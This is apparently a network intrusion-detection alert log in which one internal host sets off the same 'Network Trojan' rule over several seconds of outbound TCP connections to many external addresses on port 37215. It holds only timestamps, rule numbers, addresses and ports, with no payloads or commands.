2024-09-25T14:14:33.673399+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50304	41.118.111.214	37215	TCP
2024-09-25T14:14:33.673420+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54444	156.190.198.120	37215	TCP
2024-09-25T14:14:33.673447+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40414	41.206.233.3	37215	TCP
2024-09-25T14:14:33.673560+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48292	41.172.110.5	37215	TCP
2024-09-25T14:14:33.673650+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38742	156.91.174.178	37215	TCP
2024-09-25T14:14:33.673693+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54506	197.19.140.61	37215	TCP
2024-09-25T14:14:33.673693+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40650	156.32.42.163	37215	TCP
2024-09-25T14:14:33.673774+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47674	197.160.218.177	37215	TCP
2024-09-25T14:14:33.673813+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40574	197.27.71.218	37215	TCP
2024-09-25T14:14:33.674960+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37710	197.231.213.174	37215	TCP
2024-09-25T14:14:33.675275+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51548	156.77.18.48	37215	TCP
2024-09-25T14:14:33.675406+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38754	197.233.180.85	37215	TCP
2024-09-25T14:14:33.676435+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54406	41.17.5.69	37215	TCP
2024-09-25T14:14:33.676564+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57964	197.195.215.228	37215	TCP
2024-09-25T14:14:33.677044+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39770	197.144.251.169	37215	TCP
2024-09-25T14:14:33.677148+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53274	197.69.151.113	37215	TCP
2024-09-25T14:14:33.688372+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50600	156.81.106.200	37215	TCP
2024-09-25T14:14:33.688501+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52044	197.215.137.238	37215	TCP
2024-09-25T14:14:33.689026+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60278	197.105.105.62	37215	TCP
2024-09-25T14:14:33.689132+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35768	41.127.125.4	37215	TCP
2024-09-25T14:14:33.689233+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41360	41.240.99.197	37215	TCP
2024-09-25T14:14:33.689451+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58872	156.123.186.109	37215	TCP
2024-09-25T14:14:33.689545+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34452	41.218.248.203	37215	TCP
2024-09-25T14:14:33.690158+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38496	41.98.227.98	37215	TCP
2024-09-25T14:14:33.690448+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49006	41.164.245.164	37215	TCP
2024-09-25T14:14:33.690678+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42852	156.53.157.21	37215	TCP
2024-09-25T14:14:33.690696+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50604	41.144.112.76	37215	TCP
2024-09-25T14:14:33.690816+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43298	41.225.68.243	37215	TCP
2024-09-25T14:14:33.690912+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41924	197.202.40.81	37215	TCP
2024-09-25T14:14:33.690984+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37118	41.155.56.243	37215	TCP
2024-09-25T14:14:33.691061+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36572	156.7.180.15	37215	TCP
2024-09-25T14:14:33.692563+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42656	41.153.113.249	37215	TCP
2024-09-25T14:14:33.692958+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33646	156.55.88.200	37215	TCP
2024-09-25T14:14:33.692979+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37404	156.105.111.2	37215	TCP
2024-09-25T14:14:33.694588+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47486	41.222.122.162	37215	TCP
2024-09-25T14:14:33.703771+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41702	197.120.188.58	37215	TCP
2024-09-25T14:14:33.703930+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38080	41.201.175.19	37215	TCP
2024-09-25T14:14:33.704018+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35492	41.82.232.246	37215	TCP
2024-09-25T14:14:33.704088+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47026	41.203.2.228	37215	TCP
2024-09-25T14:14:33.704212+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52932	197.135.92.242	37215	TCP
2024-09-25T14:14:33.704277+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54318	41.139.18.55	37215	TCP
2024-09-25T14:14:33.704337+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59926	197.230.188.227	37215	TCP
2024-09-25T14:14:33.704402+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51782	197.239.155.59	37215	TCP
2024-09-25T14:14:33.705011+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55828	197.253.49.237	37215	TCP
2024-09-25T14:14:33.705053+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41084	41.250.164.45	37215	TCP
2024-09-25T14:14:33.705862+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49438	156.178.49.196	37215	TCP
2024-09-25T14:14:33.705868+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41954	41.108.0.157	37215	TCP
2024-09-25T14:14:33.705967+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55680	41.118.189.247	37215	TCP
2024-09-25T14:14:33.706218+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43584	197.209.0.69	37215	TCP
2024-09-25T14:14:33.706363+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54076	197.154.137.148	37215	TCP
2024-09-25T14:14:33.708936+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50892	156.85.177.51	37215	TCP
2024-09-25T14:14:33.719348+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55024	41.78.144.231	37215	TCP
2024-09-25T14:14:33.719686+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43618	156.9.136.189	37215	TCP
2024-09-25T14:14:33.719706+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46186	156.155.163.180	37215	TCP
2024-09-25T14:14:33.719769+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33312	41.120.46.143	37215	TCP
2024-09-25T14:14:33.719872+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44282	41.130.204.108	37215	TCP
2024-09-25T14:14:33.720234+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57766	41.218.100.111	37215	TCP
2024-09-25T14:14:33.720244+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50086	41.14.114.34	37215	TCP
2024-09-25T14:14:33.720254+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37776	197.125.0.253	37215	TCP
2024-09-25T14:14:33.720489+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45936	197.250.119.4	37215	TCP
2024-09-25T14:14:33.720590+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54492	197.209.97.208	37215	TCP
2024-09-25T14:14:33.720590+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44234	156.37.0.164	37215	TCP
2024-09-25T14:14:33.720656+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54992	156.180.154.78	37215	TCP
2024-09-25T14:14:33.720743+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55698	41.70.223.81	37215	TCP
2024-09-25T14:14:33.721466+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55490	156.249.130.124	37215	TCP
2024-09-25T14:14:33.721634+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54664	197.92.57.124	37215	TCP
2024-09-25T14:14:33.722089+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59384	156.22.110.107	37215	TCP
2024-09-25T14:14:33.722135+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55334	197.212.255.42	37215	TCP
2024-09-25T14:14:33.723577+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42482	41.91.175.25	37215	TCP
2024-09-25T14:14:33.723594+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56426	156.69.218.3	37215	TCP
2024-09-25T14:14:33.725640+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60822	197.48.130.100	37215	TCP
2024-09-25T14:14:33.735466+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45856	156.16.94.219	37215	TCP
2024-09-25T14:14:33.735469+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57044	156.179.106.40	37215	TCP
2024-09-25T14:14:33.735517+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54460	156.14.29.34	37215	TCP
2024-09-25T14:14:33.735530+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37074	41.37.226.104	37215	TCP
2024-09-25T14:14:33.735680+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52382	41.119.194.26	37215	TCP
2024-09-25T14:14:33.736321+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48540	41.104.163.68	37215	TCP
2024-09-25T14:14:33.736448+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41776	156.132.215.112	37215	TCP
2024-09-25T14:14:33.736450+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53468	197.75.201.244	37215	TCP
2024-09-25T14:14:33.736837+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52956	156.90.134.66	37215	TCP
2024-09-25T14:14:33.737057+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42730	156.118.4.206	37215	TCP
2024-09-25T14:14:33.737103+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49866	156.126.243.85	37215	TCP
2024-09-25T14:14:33.737374+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51040	156.2.239.14	37215	TCP
2024-09-25T14:14:33.737462+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50610	41.195.147.108	37215	TCP
2024-09-25T14:14:33.737660+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39832	156.169.23.31	37215	TCP
2024-09-25T14:14:33.737916+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50356	197.97.143.250	37215	TCP
2024-09-25T14:14:33.737997+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53284	197.121.164.75	37215	TCP
2024-09-25T14:14:33.739318+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45874	197.34.128.199	37215	TCP
2024-09-25T14:14:33.739399+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42636	197.76.33.3	37215	TCP
2024-09-25T14:14:33.739768+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51674	156.2.243.208	37215	TCP
2024-09-25T14:14:33.739854+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42568	197.17.158.253	37215	TCP
2024-09-25T14:14:33.739996+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40132	197.105.233.84	37215	TCP
2024-09-25T14:14:33.740157+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55696	197.252.100.138	37215	TCP
2024-09-25T14:14:33.740290+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45244	197.151.246.17	37215	TCP
2024-09-25T14:14:33.741716+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47130	41.254.134.205	37215	TCP
2024-09-25T14:14:33.750946+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42836	41.254.136.7	37215	TCP
2024-09-25T14:14:33.751063+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50540	197.211.174.27	37215	TCP
2024-09-25T14:14:33.751090+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34430	197.74.234.63	37215	TCP
2024-09-25T14:14:33.752490+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52706	156.225.72.240	37215	TCP
2024-09-25T14:14:33.752627+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41522	197.156.198.167	37215	TCP
2024-09-25T14:14:33.752760+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44932	41.123.151.76	37215	TCP
2024-09-25T14:14:33.766571+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48068	41.203.219.24	37215	TCP
2024-09-25T14:14:33.766701+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38276	156.113.97.1	37215	TCP
2024-09-25T14:14:33.767315+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37210	156.23.38.211	37215	TCP
2024-09-25T14:14:33.768169+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41958	197.59.27.190	37215	TCP
2024-09-25T14:14:33.770215+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59126	197.159.134.131	37215	TCP
2024-09-25T14:14:33.770236+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49670	156.165.179.233	37215	TCP
2024-09-25T14:14:33.782298+0200	2835222	1	A Network Trojan was detected	192.168.2.14	32906	41.87.166.42	37215	TCP
2024-09-25T14:14:33.782429+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34432	156.188.18.156	37215	TCP
2024-09-25T14:14:33.785906+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60556	197.85.20.91	37215	TCP
2024-09-25T14:14:33.785940+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44262	156.196.69.185	37215	TCP
2024-09-25T14:14:33.786015+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33780	41.135.24.40	37215	TCP
2024-09-25T14:14:33.787874+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47920	41.11.24.157	37215	TCP
2024-09-25T14:14:33.787966+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43716	41.155.176.52	37215	TCP
2024-09-25T14:14:33.893495+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48026	197.212.59.163	37215	TCP
2024-09-25T14:14:33.909088+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55338	41.143.93.195	37215	TCP
2024-09-25T14:14:33.911481+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37534	41.217.97.239	37215	TCP
2024-09-25T14:14:35.857259+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46286	156.244.113.209	37215	TCP
2024-09-25T14:14:35.857313+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60508	197.211.244.130	37215	TCP
2024-09-25T14:14:35.857380+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56478	197.116.25.249	37215	TCP
2024-09-25T14:14:35.857388+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57278	156.77.1.208	37215	TCP
2024-09-25T14:14:35.857407+0200	2835222	1	A Network Trojan was detected	192.168.2.14	32874	156.194.223.116	37215	TCP
2024-09-25T14:14:35.857411+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39036	41.131.201.238	37215	TCP
2024-09-25T14:14:35.857497+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52130	156.96.234.250	37215	TCP
2024-09-25T14:14:35.857667+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54374	197.86.189.29	37215	TCP
2024-09-25T14:14:35.857897+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52732	156.222.104.69	37215	TCP
2024-09-25T14:14:35.857904+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60868	156.139.7.170	37215	TCP
2024-09-25T14:14:35.857940+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57936	156.130.48.53	37215	TCP
2024-09-25T14:14:35.857940+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35528	156.229.29.51	37215	TCP
2024-09-25T14:14:35.857980+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37622	197.123.20.78	37215	TCP
2024-09-25T14:14:35.857983+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48396	41.200.165.86	37215	TCP
2024-09-25T14:14:35.857986+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33514	41.164.78.5	37215	TCP
2024-09-25T14:14:35.858003+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60926	41.220.146.194	37215	TCP
2024-09-25T14:14:35.858841+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39100	41.89.131.221	37215	TCP
2024-09-25T14:14:35.858873+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58942	156.161.174.59	37215	TCP
2024-09-25T14:14:35.858883+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53458	156.138.102.83	37215	TCP
2024-09-25T14:14:35.858883+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58972	156.66.158.131	37215	TCP
2024-09-25T14:14:35.858889+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49108	197.234.26.181	37215	TCP
2024-09-25T14:14:35.858919+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35072	41.126.4.16	37215	TCP
2024-09-25T14:14:35.858927+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53986	156.160.181.179	37215	TCP
2024-09-25T14:14:35.858927+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37306	41.156.21.254	37215	TCP
2024-09-25T14:14:35.858948+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56572	197.13.50.174	37215	TCP
2024-09-25T14:14:35.859178+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58922	197.137.27.83	37215	TCP
2024-09-25T14:14:35.859360+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45026	197.102.171.153	37215	TCP
2024-09-25T14:14:35.859360+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41122	156.36.170.113	37215	TCP
2024-09-25T14:14:35.909135+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37370	156.228.108.249	37215	TCP
2024-09-25T14:14:35.926617+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38346	156.62.166.162	37215	TCP
2024-09-25T14:14:35.926617+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42698	197.145.61.147	37215	TCP
2024-09-25T14:14:35.931266+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60004	156.114.186.147	37215	TCP
2024-09-25T14:14:35.955740+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60372	197.228.202.221	37215	TCP
2024-09-25T14:14:35.985221+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41814	156.136.211.71	37215	TCP
2024-09-25T14:14:35.986145+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53688	41.30.40.26	37215	TCP
2024-09-25T14:14:35.987347+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57388	156.242.48.41	37215	TCP
2024-09-25T14:14:35.987694+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35636	41.56.131.61	37215	TCP
2024-09-25T14:14:36.018048+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51138	156.82.105.217	37215	TCP
2024-09-25T14:14:36.019723+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59618	156.163.166.235	37215	TCP
2024-09-25T14:14:36.021928+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42708	156.51.49.93	37215	TCP
2024-09-25T14:14:36.047810+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40640	197.213.126.196	37215	TCP
2024-09-25T14:14:36.047892+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48476	41.40.105.169	37215	TCP
2024-09-25T14:14:36.065136+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59212	41.106.169.205	37215	TCP
2024-09-25T14:14:36.080449+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36070	41.183.91.205	37215	TCP
2024-09-25T14:14:36.131474+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45510	197.194.118.20	37215	TCP
2024-09-25T14:14:36.132872+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58996	156.15.110.52	37215	TCP
2024-09-25T14:14:36.204237+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43648	41.149.228.31	37215	TCP
2024-09-25T14:14:36.234862+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33306	156.218.30.28	37215	TCP
2024-09-25T14:14:36.235371+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39760	197.15.39.142	37215	TCP
2024-09-25T14:14:36.235459+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56092	197.22.82.105	37215	TCP
2024-09-25T14:14:36.906725+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57664	156.128.52.57	37215	TCP
2024-09-25T14:14:36.906806+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40998	41.94.82.29	37215	TCP
2024-09-25T14:14:36.906884+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35854	197.72.52.161	37215	TCP
2024-09-25T14:14:36.907032+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40252	41.113.76.132	37215	TCP
2024-09-25T14:14:36.907238+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54898	156.202.243.110	37215	TCP
2024-09-25T14:14:36.907406+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49610	197.45.117.209	37215	TCP
2024-09-25T14:14:36.907409+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40430	41.57.178.82	37215	TCP
2024-09-25T14:14:36.907581+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56138	156.183.76.141	37215	TCP
2024-09-25T14:14:36.907613+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41280	197.228.42.166	37215	TCP
2024-09-25T14:14:36.908938+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52180	41.218.113.176	37215	TCP
2024-09-25T14:14:36.909060+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50886	41.203.135.99	37215	TCP
2024-09-25T14:14:36.923039+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53806	41.39.208.35	37215	TCP
2024-09-25T14:14:36.923089+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60486	197.126.2.56	37215	TCP
2024-09-25T14:14:36.923531+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50606	41.59.164.197	37215	TCP
2024-09-25T14:14:36.924678+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44252	197.75.103.164	37215	TCP
2024-09-25T14:14:36.924758+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37148	156.116.96.173	37215	TCP
2024-09-25T14:14:36.924817+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60642	41.114.142.228	37215	TCP
2024-09-25T14:14:36.927079+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55604	156.59.45.78	37215	TCP
2024-09-25T14:14:36.927346+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40818	41.118.251.13	37215	TCP
2024-09-25T14:14:36.927448+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40384	156.137.34.27	37215	TCP
2024-09-25T14:14:36.927449+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49290	156.201.222.189	37215	TCP
2024-09-25T14:14:36.927530+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37782	41.126.108.91	37215	TCP
2024-09-25T14:14:36.928800+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34400	41.204.4.154	37215	TCP
2024-09-25T14:14:36.929009+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53598	41.234.48.19	37215	TCP
2024-09-25T14:14:37.032151+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43546	41.145.42.186	37215	TCP
2024-09-25T14:14:37.266319+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54706	41.104.10.243	37215	TCP
2024-09-25T14:14:37.266783+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42572	156.234.28.147	37215	TCP
2024-09-25T14:14:37.268507+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51466	41.231.142.148	37215	TCP
2024-09-25T14:14:37.270472+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51548	197.189.82.238	37215	TCP
2024-09-25T14:14:37.270642+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60230	156.203.125.93	37215	TCP
2024-09-25T14:14:37.287914+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58828	41.195.216.193	37215	TCP
2024-09-25T14:14:37.953610+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34324	41.146.12.74	37215	TCP
2024-09-25T14:14:37.958180+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38636	197.19.250.225	37215	TCP
2024-09-25T14:14:38.188602+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51748	197.156.215.213	37215	TCP
2024-09-25T14:14:38.204479+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35702	197.216.45.82	37215	TCP
2024-09-25T14:14:38.204565+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39386	41.138.22.129	37215	TCP
2024-09-25T14:14:38.204718+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54918	156.207.45.124	37215	TCP
2024-09-25T14:14:38.204946+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60702	41.202.147.229	37215	TCP
2024-09-25T14:14:38.219990+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52886	156.105.68.78	37215	TCP
2024-09-25T14:14:38.220038+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41858	156.87.246.107	37215	TCP
2024-09-25T14:14:38.220278+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35810	197.84.75.37	37215	TCP
2024-09-25T14:14:38.220292+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50920	41.0.66.167	37215	TCP
2024-09-25T14:14:38.220487+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36726	41.145.50.243	37215	TCP
2024-09-25T14:14:38.220658+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59828	197.211.167.22	37215	TCP
2024-09-25T14:14:38.221509+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56184	156.70.247.176	37215	TCP
2024-09-25T14:14:38.221573+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34628	156.206.182.162	37215	TCP
2024-09-25T14:14:38.221991+0200	2835222	1	A Network Trojan was detected	192.168.2.14	32974	41.225.63.239	37215	TCP
2024-09-25T14:14:38.222196+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38410	41.82.80.33	37215	TCP
2024-09-25T14:14:38.224033+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57802	197.236.232.139	37215	TCP
2024-09-25T14:14:38.224034+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39192	41.151.31.9	37215	TCP
2024-09-25T14:14:38.225765+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38202	41.251.86.183	37215	TCP
2024-09-25T14:14:38.422420+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45954	156.234.214.18	37215	TCP
2024-09-25T14:14:38.422508+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34998	41.22.143.134	37215	TCP
2024-09-25T14:14:38.422763+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46666	156.237.235.153	37215	TCP
2024-09-25T14:14:38.423691+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51564	197.37.51.50	37215	TCP
2024-09-25T14:14:38.424676+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51490	41.94.152.146	37215	TCP
2024-09-25T14:14:38.438715+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40264	41.93.111.228	37215	TCP
2024-09-25T14:14:38.440059+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56738	41.93.99.103	37215	TCP
2024-09-25T14:14:38.470696+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36600	41.141.238.167	37215	TCP
2024-09-25T14:14:38.474038+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46954	156.205.204.61	37215	TCP
2024-09-25T14:14:38.953945+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39556	156.156.122.8	37215	TCP
2024-09-25T14:14:38.954066+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42290	156.184.222.237	37215	TCP
2024-09-25T14:14:38.954096+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38458	197.2.184.228	37215	TCP
2024-09-25T14:14:38.954184+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38240	41.163.125.164	37215	TCP
2024-09-25T14:14:38.954242+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39212	156.156.136.242	37215	TCP
2024-09-25T14:14:38.954505+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55806	197.177.63.21	37215	TCP
2024-09-25T14:14:38.954529+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54734	156.26.49.169	37215	TCP
2024-09-25T14:14:38.954529+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41592	197.96.2.106	37215	TCP
2024-09-25T14:14:38.954611+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55780	197.57.233.63	37215	TCP
2024-09-25T14:14:38.954985+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35744	41.141.77.117	37215	TCP
2024-09-25T14:14:38.956184+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60204	197.216.95.131	37215	TCP
2024-09-25T14:14:38.971619+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54954	156.180.191.247	37215	TCP
2024-09-25T14:14:38.973540+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41182	197.23.243.19	37215	TCP
2024-09-25T14:14:38.973753+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35936	197.252.1.92	37215	TCP
